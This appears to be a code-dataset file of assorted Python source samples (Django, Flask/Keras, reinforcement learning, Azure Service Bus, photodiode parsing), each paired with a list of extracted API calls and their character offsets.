] | [((142, 154), 'helper_bot.utils.is_number', 'is_number', (['(1)'], {}), '(1)\n', (151, 154), False, 'from helper_bot.utils import is_number, is_time, markup_inline_keyboard\n'), ((188, 204), 'helper_bot.utils.is_time', 'is_time', (['"""23:56"""'], {}), "('23:56')\n", (195, 204), False, 'from helper_bot.utils import is_... |
"""
WebsocketClient Class
@author: methylDragon
. .
. |\-^-/| .
/| } O.=.O { |\
/´ \ \_ ~ _/ / `\
/´ | \-/ ~ \-/ | `\
| ... | [
"logging.getLogger",
"logging.Formatter",
"secrets.choice",
"json.loads",
"json.dumps",
"ssl._create_unverified_context",
"websockets.connect",
"logging.StreamHandler",
"asyncio.new_event_loop",
"asyncio.set_event_loop",
"asyncio.sleep"
] | [((1570, 1594), 'asyncio.new_event_loop', 'asyncio.new_event_loop', ([], {}), '()\n', (1592, 1594), False, 'import asyncio\n'), ((1604, 1638), 'asyncio.set_event_loop', 'asyncio.set_event_loop', (['self._loop'], {}), '(self._loop)\n', (1626, 1638), False, 'import asyncio\n'), ((1980, 2022), 'logging.getLogger', 'loggin... |
from django.shortcuts import render
from django.views.generic import View
class OpenPrescriptionView(View):
template_name = 'createprescriptionexam.html'
def get(self, request, *args, **kwargs):
return render(request, self.template_name)
| [
"django.shortcuts.render"
] | [((221, 256), 'django.shortcuts.render', 'render', (['request', 'self.template_name'], {}), '(request, self.template_name)\n', (227, 256), False, 'from django.shortcuts import render\n')] |
import datetime
import logging
from decimal import Decimal
from django.core.urlresolvers import reverse, NoReverseMatch
from django.conf import settings
from django.db import models
from django.db.models.query import QuerySet
from django.utils.safestring import mark_safe
from django.utils.html import escape
from djang... | [
"logging.getLogger",
"django.utils.formats.number_format",
"django.utils.formats.time_format",
"django.utils.html.escape",
"django.utils.translation.ugettext_lazy",
"django.utils.safestring.mark_safe",
"django.core.urlresolvers.reverse",
"django.utils.formats.date_format"
] | [((574, 601), 'logging.getLogger', 'logging.getLogger', (['"""django"""'], {}), "('django')\n", (591, 601), False, 'import logging\n'), ((18932, 18945), 'django.utils.translation.ugettext_lazy', '_', (['"""{object}"""'], {}), "('{object}')\n", (18933, 18945), True, 'from django.utils.translation import ugettext_lazy as... |
import logging
import torch.nn as nn
import math
import util.countmult_util
def count_approx_multiplies(layer,img_h,img_w, input_channels, unpruned=False):
'''
img_h: height of image
img_w: width of image
input_channels: The effective number of input channels that layer is to be fed, taking into accoun... | [
"pdb.set_trace",
"logging.debug",
"math.floor"
] | [((912, 951), 'logging.debug', 'logging.debug', (['"""returning 0 multiplies"""'], {}), "('returning 0 multiplies')\n", (925, 951), False, 'import logging\n'), ((1077, 1116), 'logging.debug', 'logging.debug', (['"""returning 0 multiplies"""'], {}), "('returning 0 multiplies')\n", (1090, 1116), False, 'import logging\n'... |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import io
import os
from typing import Dict
from setuptools import find_packages, setup
# Package meta-data.
NAME = "neuralogic"
DESCRIPTION = "PyNeuraLogic is a framework which combines relational and deep learning."
URL = "https://github.com/LukasZahradnik/PyNeuraLogic... | [
"os.path.join",
"os.path.dirname",
"setuptools.find_packages"
] | [((544, 569), 'os.path.dirname', 'os.path.dirname', (['__file__'], {}), '(__file__)\n', (559, 569), False, 'import os\n'), ((783, 825), 'os.path.join', 'os.path.join', (['here', 'NAME', '"""__version__.py"""'], {}), "(here, NAME, '__version__.py')\n", (795, 825), False, 'import os\n'), ((1157, 1236), 'setuptools.find_p... |
"""Tests for the player classes."""
from hypothesis import given
from hypothesis.strategies import text
from dogma import Player
@given(name=text())
def test_base_init(name):
"""Test that the abstract base player class can be instantiated."""
player = Player(name)
assert player.name == name
assert... | [
"hypothesis.strategies.text",
"dogma.Player"
] | [((265, 277), 'dogma.Player', 'Player', (['name'], {}), '(name)\n', (271, 277), False, 'from dogma import Player\n'), ((568, 580), 'dogma.Player', 'Player', (['name'], {}), '(name)\n', (574, 580), False, 'from dogma import Player\n'), ((145, 151), 'hypothesis.strategies.text', 'text', ([], {}), '()\n', (149, 151), Fals... |
# Imports
from tensorflow.keras.models import load_model
from flask import Flask, request, jsonify, render_template
from flask_restplus import Api, Resource, fields
from utils.general import versao_python
from bussines import tratamento_dados_previsao as tdp
from config import app_config, api_restplus_config
# Instanc... | [
"tensorflow.keras.models.load_model",
"bussines.tratamento_dados_previsao.previsao",
"flask.Flask",
"flask.request.form.get",
"flask_restplus.Api",
"bussines.tratamento_dados_previsao.tratamento_previsao",
"flask.jsonify",
"utils.general.versao_python",
"flask.request.args.get",
"flask.render_temp... | [((368, 383), 'flask.Flask', 'Flask', (['__name__'], {}), '(__name__)\n', (373, 383), False, 'from flask import Flask, request, jsonify, render_template\n'), ((2717, 2758), 'flask_restplus.Api', 'Api', (['app'], {}), '(app, **api_restplus_config.API_INFOS)\n', (2720, 2758), False, 'from flask_restplus import Api, Resou... |
# Wed Aug 24 14:51:56 EDT 2016
"""
Copyright (c) 2016 <NAME> and <NAME>
Permission is hereby granted, free of charge, to any person obtaining a
copy of this software and associated documentation files (the "Software"),
to deal in the Software without restriction, including without limitation
the rights to use, copy, m... | [
"numpy.append",
"numpy.isnan",
"numpy.delete",
"numpy.empty",
"numpy.subtract"
] | [((2205, 2230), 'numpy.empty', 'empty', (['(0)'], {'dtype': 'np.double'}), '(0, dtype=np.double)\n', (2210, 2230), False, 'from numpy import isnan, where, append, unique, delete, empty\n'), ((3183, 3208), 'numpy.empty', 'empty', (['(0)'], {'dtype': 'np.double'}), '(0, dtype=np.double)\n', (3188, 3208), False, 'from num... |
from rest_framework.test import APITestCase
from rest_framework import status
from rodan.test.helpers import RodanTestSetUpMixin, RodanTestTearDownMixin
from rest_framework.reverse import reverse
class AuthViewTestCase(RodanTestTearDownMixin, APITestCase, RodanTestSetUpMixin):
def setUp(self):
self.setUp_... | [
"rest_framework.reverse.reverse"
] | [((1458, 1476), 'rest_framework.reverse.reverse', 'reverse', (['"""auth-me"""'], {}), "('auth-me')\n", (1465, 1476), False, 'from rest_framework.reverse import reverse\n'), ((2053, 2071), 'rest_framework.reverse.reverse', 'reverse', (['"""auth-me"""'], {}), "('auth-me')\n", (2060, 2071), False, 'from rest_framework.rev... |
from typing import Callable
import numpy as np
import xarray
from shape import BBox
class OracleDetectorMixin(object):
get_positions: Callable[[int], xarray.Dataset]
def __init__(
self,
bb_size_px=None,
fp_prob=0,
fn_prob=0,
true_detection_jitter_scale=None,
f... | [
"numpy.random.rand",
"numpy.concatenate",
"numpy.random.normal"
] | [((1224, 1240), 'numpy.random.rand', 'np.random.rand', ([], {}), '()\n', (1238, 1240), True, 'import numpy as np\n'), ((1578, 1594), 'numpy.random.rand', 'np.random.rand', ([], {}), '()\n', (1592, 1594), True, 'import numpy as np\n'), ((1304, 1354), 'numpy.random.normal', 'np.random.normal', ([], {'scale': 'self.true_s... |
from contextlib import contextmanager
from django_aws_xray import records, xray
MAX_SQL_QUERY_LENGTH = 8192
@contextmanager
def trace(name):
trace = xray.get_current_trace()
if trace:
with trace.track(name):
yield
else:
yield
@contextmanager
def trace_sql(name, db, query):
... | [
"django_aws_xray.xray.get_current_trace",
"django_aws_xray.records.HttpRecord"
] | [((157, 181), 'django_aws_xray.xray.get_current_trace', 'xray.get_current_trace', ([], {}), '()\n', (179, 181), False, 'from django_aws_xray import records, xray\n'), ((464, 488), 'django_aws_xray.xray.get_current_trace', 'xray.get_current_trace', ([], {}), '()\n', (486, 488), False, 'from django_aws_xray import record... |
from ....core.runtime.task_base import TaskBase
from ....core.log.log import Log
from ....core.comm.message_protocol import MessageProtocol
from ....core.state.state import State
from ....core.state.state import StateHandler
from ....core.comm.comm_utils import CommUtils
from ....core.config.config import Config
from t... | [
"time.sleep"
] | [((1200, 1208), 'time.sleep', 'sleep', (['(1)'], {}), '(1)\n', (1205, 1208), False, 'from time import sleep\n')] |
from IPython.display import display, Markdown, clear_output
import numpy as np
import glob
import random
import shutil
class Card:
def __init__(self, question, answer, src=None):
self.question = question
self.answer = answer
self.src = src
@staticmethod
def from_lines(q_lines, a_l... | [
"random.shuffle",
"IPython.display.Markdown",
"IPython.display.clear_output",
"shutil.move"
] | [((6431, 6469), 'shutil.move', 'shutil.move', (['cards[i].src', 'target_path'], {}), '(cards[i].src, target_path)\n', (6442, 6469), False, 'import shutil\n'), ((6680, 6718), 'shutil.move', 'shutil.move', (['cards[i].src', 'target_path'], {}), '(cards[i].src, target_path)\n', (6691, 6718), False, 'import shutil\n'), ((4... |
import os
from django.http import HttpResponseRedirect,StreamingHttpResponse
from django.shortcuts import render
from django.views.generic import TemplateView
from .models import *
from django.contrib.auth.models import User
from app.views import judgeP
class customer_add(TemplateView):
template_name = "customer... | [
"django.shortcuts.render",
"app.views.judgeP",
"django.http.HttpResponseRedirect",
"django.http.StreamingHttpResponse",
"django.contrib.auth.models.User.objects.filter",
"os.path.basename"
] | [((466, 487), 'app.views.judgeP', 'judgeP', (['user.username'], {}), '(user.username)\n', (472, 487), False, 'from app.views import judgeP\n'), ((503, 558), 'django.shortcuts.render', 'render', (['request', '"""customer_add.html"""', "{'per_list': per}"], {}), "(request, 'customer_add.html', {'per_list': per})\n", (509... |
import sys
import numpy as np
import math
import random
import matplotlib.pyplot as plt
from dqn import DQN, ReplayMemory, Transition
from util import Timer
import gym
import gym_game
import torch
import torch.nn.functional as F
import util
def simulate():
num_episodes = 20000
#env.is_view = True
for epi... | [
"random.randrange",
"gym.make",
"random.random",
"torch.cuda.is_available",
"dqn.ReplayMemory",
"torch.no_grad",
"util.Timer",
"torch.tensor",
"math.exp",
"torch.zeros",
"dqn.DQN",
"torch.cat"
] | [((1874, 1931), 'torch.cat', 'torch.cat', (['[s for s in batch.next_state if s is not None]'], {}), '([s for s in batch.next_state if s is not None])\n', (1883, 1931), False, 'import torch\n'), ((1950, 1972), 'torch.cat', 'torch.cat', (['batch.state'], {}), '(batch.state)\n', (1959, 1972), False, 'import torch\n'), ((1... |
# Generated by Django 2.1.15 on 2020-05-06 08:44
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('app', '0002_auto_20200506_0248'),
]
operations = [
migrations.RemoveField... | [
"django.db.models.ForeignKey",
"django.db.migrations.RemoveField"
] | [((298, 354), 'django.db.migrations.RemoveField', 'migrations.RemoveField', ([], {'model_name': '"""user"""', 'name': '"""org_id"""'}), "(model_name='user', name='org_id')\n", (320, 354), False, 'from django.db import migrations, models\n'), ((502, 608), 'django.db.models.ForeignKey', 'models.ForeignKey', ([], {'defaul... |
import sys
import os
import struct
from PIL import Image
def read_int32(file):
return int(struct.unpack('<i',file.read(4))[0])
def read_int64(file):
return int(struct.unpack('<q',file.read(8))[0])
def read_string(file, length):
return file.read(length).decode('ASCII')
def read_byte(file):
return in... | [
"struct.pack",
"os.path.exists",
"os.chdir",
"os.stat",
"PIL.Image.open",
"os.makedirs"
] | [((690, 715), 'PIL.Image.open', 'Image.open', (["(name + '.png')"], {}), "(name + '.png')\n", (700, 715), False, 'from PIL import Image\n'), ((855, 881), 'os.chdir', 'os.chdir', (['output_directory'], {}), '(output_directory)\n', (863, 881), False, 'import os\n'), ((774, 797), 'os.stat', 'os.stat', (["(name + '.meta')"... |
##### Description: Runs the given data file (converted) on the corresponding algorithm and plots the graph
##### Assumpion: The input file converted and the extracted folder for the algorithm are present in the same directory as this code
### Usage: $ python3 q1_run.py <file_name> <method_name>
### Example: $ pytho... | [
"os.system",
"time.time"
] | [((1588, 1599), 'time.time', 'time.time', ([], {}), '()\n', (1597, 1599), False, 'import time\n'), ((1601, 1615), 'os.system', 'os.system', (['cmd'], {}), '(cmd)\n', (1610, 1615), False, 'import os\n'), ((1623, 1634), 'time.time', 'time.time', ([], {}), '()\n', (1632, 1634), False, 'import time\n')] |
import numpy as np
import numpy.testing as npt
from pymwm.coax.samples import Samples
params: dict = {
"core": {"shape": "coax", "r": 0.15, "ri": 0.1, "fill": {"RI": 1.0}},
"clad": {"book": "Au", "page": "Stewart-DLF", "bound_check": False},
"modes": {
"wl_max": 20.0,
"wl_min": 1.0,
... | [
"numpy.testing.assert_equal",
"numpy.floor",
"numpy.testing.assert_allclose",
"numpy.ceil",
"pymwm.coax.samples.Samples",
"numpy.arange",
"numpy.testing.assert_array_equal"
] | [((608, 643), 'pymwm.coax.samples.Samples', 'Samples', (['size', 'fill', 'clad', 'p', 'size2'], {}), '(size, fill, clad, p, size2)\n', (615, 643), False, 'from pymwm.coax.samples import Samples\n'), ((945, 972), 'numpy.testing.assert_equal', 'npt.assert_equal', (['wg.ws', 'ws'], {}), '(wg.ws, ws)\n', (961, 972), True, ... |
"""
multi_in.py
Copyright 2017 <NAME>
This file is part of w3af, http://w3af.org/ .
w3af is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation version 2 of the License.
w3af is distributed in the hope that it will be... | [
"acora.AcoraBuilder"
] | [((1520, 1534), 'acora.AcoraBuilder', 'AcoraBuilder', ([], {}), '()\n', (1532, 1534), False, 'from acora import AcoraBuilder\n')] |
#!/usr/bin/env python
import re
# pan_matrix_f = '/Users/sgordon/Documents/distachyon50/pangenome_R/data/pangenome_matrix_t0.tab.rotated.txt'
pan_matrix_f = 'pangenome_genes_not_in_Bd21.75.headers'
occur = 1
def modclust_id(pan_matrix_f):
"""extract the gene id from bruno clust_id and make it the new clust_id"""... | [
"re.finditer"
] | [((682, 707), 're.finditer', 're.finditer', (['"""_"""', 'pref_id'], {}), "('_', pref_id)\n", (693, 707), False, 'import re\n')] |
# Copyright (C) 2021 Intel Corporation
#
# SPDX-License-Identifier: MIT
from django.conf import settings
from django.contrib.auth.models import User, Group
from django.db.models.signals import post_save, post_migrate
def register_groups(sender, **kwargs):
# Create all groups which corresponds system roles
fo... | [
"django.contrib.auth.models.Group.objects.get_or_create",
"django.db.models.signals.post_migrate.connect",
"allauth.account.models.EmailAddress.objects.get_or_create",
"django.db.models.signals.post_save.connect",
"django.contrib.auth.models.Group.objects.get"
] | [((2200, 2249), 'django.db.models.signals.post_migrate.connect', 'post_migrate.connect', (['register_groups', 'app_config'], {}), '(register_groups, app_config)\n', (2220, 2249), False, 'from django.db.models.signals import post_save, post_migrate\n'), ((358, 396), 'django.contrib.auth.models.Group.objects.get_or_creat... |
from tree import Tree
root = Tree([4, 2, 5, 1, 3]).root
"""
# Definition for a Node.
class Node(object):
def __init__(self, val, left, right):
self.val = val
self.left = left
self.right = right
"""
class SolutionStack(object):
def treeToDoublyList(self, root: 'Node') -> 'Node':
... | [
"tree.Tree"
] | [((29, 50), 'tree.Tree', 'Tree', (['[4, 2, 5, 1, 3]'], {}), '([4, 2, 5, 1, 3])\n', (33, 50), False, 'from tree import Tree\n')] |
import moai.nn.convolution as miconv
import moai.nn.sampling.spatial.upsample as miup
import torch
import typing
import omegaconf.omegaconf
__all__ = ["Convolutional"]
class Convolutional(torch.nn.Module):
def __init__(self,
configuration: omegaconf.DictConfig,
convolution: omegaconf.... | [
"torch.nn.Sequential",
"moai.nn.sampling.spatial.upsample.make_upsample",
"moai.nn.convolution.make_conv_block",
"torch.nn.ModuleList"
] | [((516, 537), 'torch.nn.ModuleList', 'torch.nn.ModuleList', ([], {}), '()\n', (535, 537), False, 'import torch\n'), ((2213, 2246), 'torch.nn.Sequential', 'torch.nn.Sequential', (['*module_list'], {}), '(*module_list)\n', (2232, 2246), False, 'import torch\n'), ((1652, 1954), 'moai.nn.convolution.make_conv_block', 'mico... |
from django.shortcuts import render, redirect
import datetime as dt
from .models import Image
from django.http import Http404
# Create your views here.
def welcome(request):
images = Image.objects.all()
return render(request, 'showme/welcome.html', {"images": images})
def liveshowoffs(request):
date = ... | [
"django.shortcuts.redirect",
"django.shortcuts.render",
"datetime.datetime.strptime",
"datetime.date.today",
"django.http.Http404"
] | [((221, 279), 'django.shortcuts.render', 'render', (['request', '"""showme/welcome.html"""', "{'images': images}"], {}), "(request, 'showme/welcome.html', {'images': images})\n", (227, 279), False, 'from django.shortcuts import render, redirect\n'), ((320, 335), 'datetime.date.today', 'dt.date.today', ([], {}), '()\n',... |
import os
import shutil
TEST_RESULTS = "testresults"
def setup(self):
if os.path.exists(TEST_RESULTS):
shutil.rmtree(TEST_RESULTS)
if not os.path.exists(TEST_RESULTS):
os.makedirs(TEST_RESULTS)
| [
"os.path.exists",
"shutil.rmtree",
"os.makedirs"
] | [((80, 108), 'os.path.exists', 'os.path.exists', (['TEST_RESULTS'], {}), '(TEST_RESULTS)\n', (94, 108), False, 'import os\n'), ((118, 145), 'shutil.rmtree', 'shutil.rmtree', (['TEST_RESULTS'], {}), '(TEST_RESULTS)\n', (131, 145), False, 'import shutil\n'), ((157, 185), 'os.path.exists', 'os.path.exists', (['TEST_RESULT... |
import logging
import os
from logging.config import fileConfig
from alembic import context
from configly import Config
from sqlalchemy import engine_from_config, pool
from sqlalchemy.engine.url import URL
from covid_tracker.models import BASE
# this is the Alembic Config object, which provides
# access to the values... | [
"logging.getLogger",
"alembic.context.config.get_section",
"alembic.context.run_migrations",
"alembic.context.begin_transaction",
"alembic.context.is_offline_mode",
"logging.config.fileConfig",
"alembic.context.configure",
"configly.Config.from_yaml",
"alembic.context.config.attributes.get"
] | [((462, 537), 'logging.config.fileConfig', 'fileConfig', (['context.config.config_file_name'], {'disable_existing_loggers': '(False)'}), '(context.config.config_file_name, disable_existing_loggers=False)\n', (472, 537), False, 'from logging.config import fileConfig\n'), ((547, 579), 'logging.getLogger', 'logging.getLog... |
from mapbox_vector_tile.polygon import make_it_valid
from numbers import Number
from past.builtins import long
from past.builtins import unicode
from past.builtins import xrange
from shapely.geometry.base import BaseGeometry
from shapely.geometry.multipolygon import MultiPolygon
from shapely.geometry.polygon import ori... | [
"shapely.wkt.loads",
"past.builtins.unicode",
"shapely.wkb.loads",
"mapbox_vector_tile.polygon.make_it_valid",
"shapely.geometry.polygon.Polygon",
"decimal.Decimal",
"shapely.ops.transform",
"shapely.geometry.multipolygon.MultiPolygon"
] | [((840, 860), 'mapbox_vector_tile.polygon.make_it_valid', 'make_it_valid', (['shape'], {}), '(shape)\n', (853, 860), False, 'from mapbox_vector_tile.polygon import make_it_valid\n'), ((1660, 1680), 'decimal.Decimal', 'decimal.Decimal', (['val'], {}), '(val)\n', (1675, 1680), False, 'import decimal\n'), ((4747, 4767), '... |
# -*- coding: utf-8 -*-
import json
from signup import utils
def test_add_channel_with_no_channels_in_cache() -> None:
channels = None
user = {
"user_id": "123",
"login": "Name",
"followers": 100,
}
new_channels = utils.add_channel(channels, user)
user_str = json.dumps({"i... | [
"json.dumps",
"signup.utils.add_channel"
] | [((257, 290), 'signup.utils.add_channel', 'utils.add_channel', (['channels', 'user'], {}), '(channels, user)\n', (274, 290), False, 'from signup import utils\n'), ((306, 365), 'json.dumps', 'json.dumps', (["{'id': '123', 'name': 'name', 'followers': 100}"], {}), "({'id': '123', 'name': 'name', 'followers': 100})\n", (3... |
from argparse import ArgumentParser
from pyregis import db
from pyregis.models import *
from . import names
def parse_arguments():
parser = ArgumentParser()
parser.add_argument('--test', action='store_true', dest='TEST',
help='Toggles test mode, which only prints out data without af... | [
"pyregis.db.db_session.add",
"pyregis.db.init_db",
"argparse.ArgumentParser",
"pyregis.db.clear_db",
"pyregis.db.db_session.commit"
] | [((148, 164), 'argparse.ArgumentParser', 'ArgumentParser', ([], {}), '()\n', (162, 164), False, 'from argparse import ArgumentParser\n'), ((638, 651), 'pyregis.db.clear_db', 'db.clear_db', ([], {}), '()\n', (649, 651), False, 'from pyregis import db\n'), ((1055, 1077), 'pyregis.db.db_session.commit', 'db.db_session.com... |
import ijson
import json
import numpy as np
def find_keep_mask_for_price(price_npv, upper_perc=None, lower_perc=None):
# price_npv is a numpy array (single column)
if upper_perc is None:
upper_perc = 99.95
if lower_perc is None:
lower_perc = 0.005
# Eval Percentile Limit Values
lli... | [
"numpy.std",
"numpy.percentile",
"numpy.mean"
] | [((326, 362), 'numpy.percentile', 'np.percentile', (['price_npv', 'lower_perc'], {}), '(price_npv, lower_perc)\n', (339, 362), True, 'import numpy as np\n'), ((376, 412), 'numpy.percentile', 'np.percentile', (['price_npv', 'upper_perc'], {}), '(price_npv, upper_perc)\n', (389, 412), True, 'import numpy as np\n'), ((835... |
from __future__ import (absolute_import, division, print_function,
unicode_literals)
from six import string_types
import numpy as np
import scipy.stats
import pandas as pd
from ggplot.utils import make_iterable_ntimes
from .stat import stat
def bootstrap_statistics(series, statistic, n_sampl... | [
"numpy.asarray",
"numpy.percentile",
"ggplot.utils.make_iterable_ntimes",
"pandas.Series",
"numpy.var",
"numpy.median",
"numpy.mean"
] | [((1117, 1135), 'numpy.asarray', 'np.asarray', (['series'], {}), '(series)\n', (1127, 1135), True, 'import numpy as np\n'), ((1144, 1154), 'numpy.mean', 'np.mean', (['a'], {}), '(a)\n', (1151, 1154), True, 'import numpy as np\n'), ((1263, 1312), 'pandas.Series', 'pd.Series', (["{'y': m, 'ymin': m - h, 'ymax': m + h}"],... |
from multiprocessing import Process
def work(name):
print('hello', name)
if __name__ == '__main__':
process = Process(target=work, args=('test',))
process.start()
process.join()
| [
"multiprocessing.Process"
] | [((122, 158), 'multiprocessing.Process', 'Process', ([], {'target': 'work', 'args': "('test',)"}), "(target=work, args=('test',))\n", (129, 158), False, 'from multiprocessing import Process\n')] |
import numpy as np
import scipy as sp
import scipy.sparse
import maxflow
class GraphCut(object):
def __init__(self, nodes, connections):
"""
nodes: expected number of nodes in the graph
connections: expected number of edges in the graph
"""
self._g = maxflow.Graph[float](no... | [
"numpy.arange",
"numpy.zeros"
] | [((457, 479), 'numpy.zeros', 'np.zeros', (['(self._N, 2)'], {}), '((self._N, 2))\n', (465, 479), True, 'import numpy as np\n'), ((1878, 1896), 'numpy.arange', 'np.arange', (['self._N'], {}), '(self._N)\n', (1887, 1896), True, 'import numpy as np\n')] |
"""
# ----------------------------------------------------------------------------------------
# The model of SWiM-Net.
# Title: Snapshot Wide-field Multispectral Imaging behind Scattering Medium using Convolutional Neural Networks
# Author: <NAME>, <NAME>, <NAME>, <NAME>, <NAME>, <NAME>, <NAME>, <NAME>
# Institutio... | [
"keras.layers.Activation",
"keras.models.Model",
"keras.layers.UpSampling2D",
"keras.layers.Concatenate",
"keras.layers.Conv2D",
"keras.layers.Input",
"keras.layers.Dropout",
"keras.regularizers.l2",
"keras.layers.MaxPooling2D"
] | [((838, 858), 'keras.layers.Input', 'Input', (['(128, 128, 1)'], {}), '((128, 128, 1))\n', (843, 858), False, 'from keras.layers import Input, Conv2D, Dropout, Activation, MaxPooling2D, UpSampling2D, Concatenate\n'), ((4912, 4949), 'keras.models.Model', 'Model', ([], {'inputs': 'inputs', 'outputs': 'conv_17'}), '(input... |
# Copyright (c) 2018 PaddlePaddle Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by app... | [
"paddle.fluid.default_startup_program",
"paddle.fluid.CUDAPlace",
"paddle.fluid.CPUPlace",
"paddle.fluid.Program",
"paddle.fluid.Executor",
"parl.layers.data",
"paddle.fluid.program_guard"
] | [((1622, 1643), 'paddle.fluid.Executor', 'fluid.Executor', (['place'], {}), '(place)\n', (1636, 1643), True, 'import paddle.fluid as fluid\n'), ((1956, 1971), 'paddle.fluid.Program', 'fluid.Program', ([], {}), '()\n', (1969, 1971), True, 'import paddle.fluid as fluid\n'), ((2003, 2018), 'paddle.fluid.Program', 'fluid.P... |
from __future__ import division, print_function, absolute_import
import tensorflow as tf
from tensorflow.python.framework import ops
import os
_module = tf.load_op_library(os.path.expandvars('$TF_USER_OPS/sparse_extractor.so'))
sparse_extractor = _module.sparse_extractor
@ops.RegisterShape('SparseExtractor')
def _Sp... | [
"tensorflow.python.framework.ops.RegisterGradient",
"tensorflow.TensorShape",
"tensorflow.python.framework.ops.RegisterShape",
"os.path.expandvars"
] | [((276, 312), 'tensorflow.python.framework.ops.RegisterShape', 'ops.RegisterShape', (['"""SparseExtractor"""'], {}), "('SparseExtractor')\n", (293, 312), False, 'from tensorflow.python.framework import ops\n'), ((774, 813), 'tensorflow.python.framework.ops.RegisterGradient', 'ops.RegisterGradient', (['"""SparseExtracto... |
# Generated by Django 4.0.2 on 2022-03-11 22:56
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('complaints', '0011_alter_complaints_status'),
('work_order', '0009_alter_workorder_est_duration'),
]
operat... | [
"django.db.models.ForeignKey",
"django.db.models.ManyToManyField"
] | [((453, 554), 'django.db.models.ManyToManyField', 'models.ManyToManyField', ([], {'blank': '(True)', 'related_name': '"""other_workers"""', 'to': '"""work_order.HiredPersonnel"""'}), "(blank=True, related_name='other_workers', to=\n 'work_order.HiredPersonnel')\n", (475, 554), False, 'from django.db import migration... |
import os, sys
sys.path.append("engine")
import state
if __name__ == "__main__":
state.main()
| [
"sys.path.append",
"state.main"
] | [((15, 40), 'sys.path.append', 'sys.path.append', (['"""engine"""'], {}), "('engine')\n", (30, 40), False, 'import os, sys\n'), ((87, 99), 'state.main', 'state.main', ([], {}), '()\n', (97, 99), False, 'import state\n')] |
#!/usr/bin/env python
# coding: utf-8
# # Python Basics
# ## What is Python?
#
# Python is an interpreted high-level programming language that converts human-friendly commands into computer instructions. This means that it takes human-readable code as input and then interprets the code into machine language. In a ... | [
"numpy.matrix",
"matplotlib.pyplot.figure",
"numpy.arange",
"numpy.zeros"
] | [((11287, 11304), 'numpy.matrix', 'np.matrix', (['matrix'], {}), '(matrix)\n', (11296, 11304), True, 'import numpy as np\n'), ((11828, 11839), 'numpy.zeros', 'np.zeros', (['N'], {}), '(N)\n', (11836, 11839), True, 'import numpy as np\n'), ((14941, 14964), 'numpy.arange', 'np.arange', (['(0)', '(100)', '(0.02)'], {}), '... |
from azure.servicebus import ServiceBusService, Message, Queue
import os
import glob
from azure.storage.blob import BlockBlobService, PublicAccess
print("Connecting to Queue...")
bus_service = ServiceBusService(
service_namespace=os.environ['SERVICEBUS_NAMESPACE'],
shared_access_key_name=os.environ['SERVICEB... | [
"azure.servicebus.ServiceBusService",
"azure.storage.blob.BlockBlobService",
"azure.servicebus.Message"
] | [((196, 399), 'azure.servicebus.ServiceBusService', 'ServiceBusService', ([], {'service_namespace': "os.environ['SERVICEBUS_NAMESPACE']", 'shared_access_key_name': "os.environ['SERVICEBUS_ACCESSKEY_NAME']", 'shared_access_key_value': "os.environ['SERVICEBUS_ACCESSKEY']"}), "(service_namespace=os.environ['SERVICEBUS_NAM... |
import numpy as np
import uncertainties.unumpy as unp
# based on gaussian
from . import gaussian
def center():
return None # or the arg-number of the center.
def getCenter(args):
# return the average
return (args[1] + args[4])/2
def args():
return ('Amp1', 'Center1', 'Sigma1', 'Amp2', 'Center2', '... | [
"numpy.sqrt",
"numpy.array"
] | [((1875, 1907), 'numpy.array', 'np.array', (['[A1 * sig1, A2 * sig2]'], {}), '([A1 * sig1, A2 * sig2])\n', (1883, 1907), True, 'import numpy as np\n'), ((1903, 1921), 'numpy.sqrt', 'np.sqrt', (['(2 * np.pi)'], {}), '(2 * np.pi)\n', (1910, 1921), True, 'import numpy as np\n')] |
from plug_nozzle_angelino import *
import matplotlib.pyplot as plt
from scipy import interpolate
import numpy as np
#import aerospike_optimzer
r_e = 0.06 #0.034 # likely too large
expansion_ratio = 11.2 #6.64 #8.1273
A_t = r_e**2*np.pi/expansion_ratio # max expansion (r_b = 0, r_e**2 >= A_t*expansion_ratio/np.pi)
ga... | [
"numpy.savetxt",
"matplotlib.pyplot.show",
"numpy.sqrt",
"numpy.array",
"matplotlib.pyplot.axis"
] | [((407, 454), 'numpy.sqrt', 'np.sqrt', (['(gamma * (1 - 1 / gamma) * 200.07 * T_c)'], {}), '(gamma * (1 - 1 / gamma) * 200.07 * T_c)\n', (414, 454), True, 'import numpy as np\n'), ((604, 710), 'numpy.array', 'np.array', (['[spike.x, spike.y, spike.s, spike.p, spike.T, spike.M, spike.A, spike.a,\n spike.V, spike.rho]... |
from sklearn import metrics
from sklearn.preprocessing import label_binarize
from sklearn.model_selection import StratifiedKFold
import numpy as np
import torch
from copy import deepcopy
import socket
import torch.nn.functional as F
from torch.autograd import Variable
from collections import defaultdict
def flatten_di... | [
"sklearn.metrics.accuracy_score",
"sklearn.metrics.precision_recall_fscore_support",
"sklearn.preprocessing.label_binarize",
"sklearn.metrics.roc_auc_score",
"sklearn.metrics.f1_score",
"numpy.mean",
"sklearn.metrics.confusion_matrix"
] | [((1784, 1836), 'sklearn.metrics.accuracy_score', 'metrics.accuracy_score', ([], {'y_pred': 'y_pred', 'y_true': 'y_true'}), '(y_pred=y_pred, y_true=y_true)\n', (1806, 1836), False, 'from sklearn import metrics\n'), ((1891, 1960), 'sklearn.metrics.precision_recall_fscore_support', 'metrics.precision_recall_fscore_suppor... |
"""
======================
Find Photodiode Events
======================
In this example, we use ``pd-parser`` to find photodiode events and
align them to behavior. Then, we save the data to BIDS format.
"""
# Authors: <NAME> <<EMAIL>>
#
# License: BSD (3-clause)
######################################################... | [
"os.path.join",
"pd_parser.simulate_pd_data",
"pd_parser.parse_pd._read_raw",
"pd_parser.parse_pd._to_tsv",
"numpy.random.random",
"mne.utils._TempDir",
"numpy.repeat",
"pd_parser.parse_pd",
"pd_parser.find_pd_params",
"pd_parser.add_relative_events",
"numpy.random.seed",
"mne.create_info"
